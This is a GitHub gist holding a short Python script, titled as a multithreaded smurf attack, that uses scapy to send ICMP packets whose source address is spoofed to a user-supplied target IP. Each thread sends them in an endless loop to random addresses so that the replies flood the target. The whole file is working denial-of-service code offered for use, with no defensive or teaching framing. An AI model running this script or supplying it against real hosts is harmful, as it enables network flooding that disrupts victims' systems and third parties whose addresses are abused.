Created
September 28, 2022 22:15
-
-
Save ScratchyCode/df3ae8b30ed79040b360f112c7506f7f to your computer and use it in GitHub Desktop.
Script for multithreading smurf attack
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from scapy.all import * | |
import random | |
import threading | |
import signal | |
import sys | |
def address_spoofer(): | |
addr = [192,168,178,1] | |
dot = '.' | |
addr[0] = str(random.randrange(11,197)) | |
addr[1] = str(random.randrange(0,255)) | |
addr[2] = str(random.randrange(0,255)) | |
addr[3] = str(random.randrange(2,254)) | |
assembled = addr[0] + dot + addr[1] + dot + addr[2] + dot + addr[3] | |
#print(assembled) | |
return assembled | |
def smurf(iptarget): | |
while True: | |
rand_addr = address_spoofer() | |
ip_hdr = IP(src=iptarget,dst=rand_addr) | |
#packet = ip_hdr/ICMP()/('m'*1000) # send 1k bytes of junk | |
packet = ip_hdr/ICMP() | |
send(packet,verbose=0) | |
def signal_handler(signal): | |
print("\nExit...") | |
sys.exit(0) | |
############## | |
# main # | |
############## | |
if(__name__ == "__main__"): | |
# gestisco il segnale di chiusura | |
signal.signal(signal.SIGINT,signal_handler) | |
# input | |
iptarget = input("Target's IP to attack: ") | |
numthread = int(input("Thread number: ")) | |
# running | |
threads = [] | |
for i in range(numthread): | |
print("Starting thread " + str(i+1)) | |
thread = threading.Thread(target=smurf,args=(iptarget,)) | |
threads.append(thread) | |
#threads[i].daemon = True | |
threads[i].start() | |
print("Attacking...") | |
#for i in range(numthread): | |
# print("DEBUG"+str(i+1)) | |
# threads[i].join() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment